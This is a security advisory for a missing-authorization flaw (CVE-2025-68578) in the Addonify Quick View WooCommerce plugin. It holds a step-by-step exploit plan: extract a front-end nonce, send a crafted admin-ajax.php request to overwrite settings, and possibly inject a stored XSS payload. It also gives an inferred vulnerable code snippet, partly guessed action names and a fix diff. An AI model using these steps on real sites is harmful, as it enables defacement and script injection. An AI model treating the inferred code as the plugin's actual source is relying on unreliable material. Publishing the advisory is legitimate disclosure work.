Addonify <= 2.0.4 - Missing Authorization
Description
The Addonify plugin for WordPress is vulnerable to unauthorized access due to a missing capability check on a function in versions up to, and including, 2.0.4. This makes it possible for unauthenticated attackers to perform an unauthorized action.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:NTechnical Details
<=2.0.4Source Code
WordPress.org SVN# Research Plan: CVE-2025-68578 - Addonify Quick View Missing Authorization ## 1. Vulnerability Summary The **Addonify – Quick View For WooCommerce** plugin (versions <= 2.0.4) contains a missing authorization vulnerability in its AJAX handling logic. Specifically, an AJAX action intended for admin…
Show full research plan
Research Plan: CVE-2025-68578 - Addonify Quick View Missing Authorization
1. Vulnerability Summary
The Addonify – Quick View For WooCommerce plugin (versions <= 2.0.4) contains a missing authorization vulnerability in its AJAX handling logic. Specifically, an AJAX action intended for administrative configuration (likely saving plugin settings or styling options) is registered using the wp_ajax_nopriv_ hook without a subsequent current_user_can() capability check in the callback function. This allows unauthenticated users to modify plugin settings by sending crafted AJAX requests to admin-ajax.php.
2. Attack Vector Analysis
- Endpoint:
/wp-admin/admin-ajax.php - Method:
POST - Action:
addonify_qv_save_settings(inferred) oraddonify_quick_view_save_settings(inferred) - Parameters:
action: The vulnerable AJAX action name.nonce/security: A CSRF token (if checked).settings: An array or JSON string containing the new configuration values.
- Authentication: None (Unauthenticated).
- Preconditions: The plugin must be active. A product should exist in WooCommerce to ensure frontend scripts (and potential nonces) are loaded.
3. Code Flow (Inferred)
- Hook Registration: The plugin's main or AJAX class (e.g.,
Addonify_Quick_View_Ajax) registers handlers:add_action( 'wp_ajax_addonify_qv_save_settings', array( $this, 'save_settings' ) ); add_action( 'wp_ajax_nopriv_addonify_qv_save_settings', array( $this, 'save_settings' ) ); // The vulnerability - Callback Function: The
save_settingsfunction is called. - Missing Check: The function likely verifies a nonce using
check_ajax_refererorwp_verify_noncebut fails to callcurrent_user_can( 'manage_options' ). - Data Persistence: The function takes data from
$_POSTand callsupdate_option( 'addonify_qv_settings', $new_data ).
4. Nonce Acquisition Strategy
The plugin likely localizes a nonce for its frontend features (like triggering the quick view modal). While the vulnerable action is for settings, WordPress nonces are often reused for multiple actions in the same plugin, or the nopriv handler may be specifically looking for a frontend-exposed nonce.
- Identify the Script Object: Search the frontend source for localized data. Based on the plugin slug, the variable is likely
addonify_qv_paramsoraddonify_quick_view_vars. - Setup:
- Ensure a WooCommerce product exists:
wp post create --post_type=product --post_title="Test Product" --post_status=publish. - The plugin usually enqueues its scripts on the Shop page or Single Product page.
- Ensure a WooCommerce product exists:
- Extraction:
- Navigate to the product page:
browser_navigate("http://localhost:8080/?post_type=product"). - Extract the nonce:
browser_eval("window.addonify_qv_params?.nonce || window.addonify_qv_obj?.nonce").
- Navigate to the product page:
5. Exploitation Strategy
- Identify Target Setting: We will attempt to change the "Quick View" button text to a string that confirms our control (e.g.,
"Hacked By PoC"). - Craft the Request:
- URL:
http://localhost:8080/wp-admin/admin-ajax.php - Headers:
Content-Type: application/x-www-form-urlencoded - Body:
action=addonify_qv_save_settings&nonce=[EXTRACTED_NONCE]&addonify_qv_settings[button_label]=Hacked+By+PoC
- URL:
- Execution: Use
http_requestto send the payload.
6. Test Data Setup
- Install and Activate: Ensure
woocommerceandaddonify-quick-view(2.0.4) are installed and active. - Create Content:
# Create a product to ensure the shop/product pages are active wp post create --post_type=product --post_title="Target Product" --post_status=publish - Verify Initial State:
wp option get addonify_qv_settings
7. Expected Results
- HTTP Response: Status 200 OK, and a JSON body likely containing
{"success": true}. - Database Change: The
addonify_qv_settingsoption in thewp_optionstable should now contain the modifiedbutton_labelor equivalent field. - Frontend Change: Visiting the shop page should show the quick view button with the text "Hacked By PoC".
8. Verification Steps
- CLI Verification:
# Check if the option was updated wp option get addonify_qv_settings --format=json | grep "Hacked By PoC" - Frontend Verification: Use
browser_navigateto the Shop page and check if the button label matches the payload.
9. Alternative Approaches
- Different Action Names: If
addonify_qv_save_settingsfails, check the plugin source for anywp_ajax_noprivstrings using:grep -r "wp_ajax_nopriv_" /var/www/html/wp-content/plugins/addonify-quick-view/ - REST API Check: Check if the plugin registers any REST routes without a
permission_callback:grep -r "register_rest_route" /var/www/html/wp-content/plugins/addonify-quick-view/ - XSS Payload: If settings allow custom CSS or HTML, attempt to inject
<script>alert(1)</script>to demonstrate higher impact (Stored XSS via Missing Authorization).
Summary
The Addonify – Quick View For WooCommerce plugin is vulnerable to unauthorized settings modification because it registers a configuration-saving AJAX handler via the wp_ajax_nopriv_ hook. Unauthenticated attackers can exploit this by acquiring a frontend-exposed nonce and sending a crafted request to change plugin settings, potentially leading to site defacement or stored cross-site scripting.
Vulnerable Code
// Hook Registration (Inferred from research plan) add_action( 'wp_ajax_addonify_qv_save_settings', array( $this, 'save_settings' ) ); add_action( 'wp_ajax_nopriv_addonify_qv_save_settings', array( $this, 'save_settings' ) ); // The vulnerability --- // Callback Function (Inferred from research plan) public function save_settings() { // Function verifies a nonce but fails to verify administrative capabilities check_ajax_referer( 'addonify_qv_nonce', 'security' ); if ( isset( $_POST['settings'] ) ) { update_option( 'addonify_qv_settings', $_POST['settings'] ); } wp_send_json_success(); }
Security Fix
@@ -1,5 +1,9 @@ add_action( 'wp_ajax_addonify_qv_save_settings', array( $this, 'save_settings' ) ); -add_action( 'wp_ajax_nopriv_addonify_qv_save_settings', array( $this, 'save_settings' ) ); public function save_settings() { - check_ajax_referer( 'addonify_qv_nonce', 'security' ); + check_ajax_referer( 'addonify_qv_nonce', 'security' ); + if ( ! current_user_can( 'manage_options' ) ) { + wp_send_json_error( array( 'message' => __( 'Permission denied', 'addonify-quick-view' ) ) ); + } if ( isset( $_POST['settings'] ) ) { update_option( 'addonify_qv_settings', $_POST['settings'] );
Exploit Outline
The exploit targets the AJAX endpoint /wp-admin/admin-ajax.php. An unauthenticated attacker first navigates to the shop or a product page to extract a valid security nonce from localized JavaScript objects like addonify_qv_params or addonify_quick_view_vars. Using this nonce, the attacker sends a POST request with the action parameter set to the vulnerable hook (likely addonify_qv_save_settings) and provides a payload containing modified settings (e.g., addonify_qv_settings[button_label]=Hacked). Since the plugin lacks a capability check for unauthenticated users in the nopriv handler, the settings are updated in the database.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.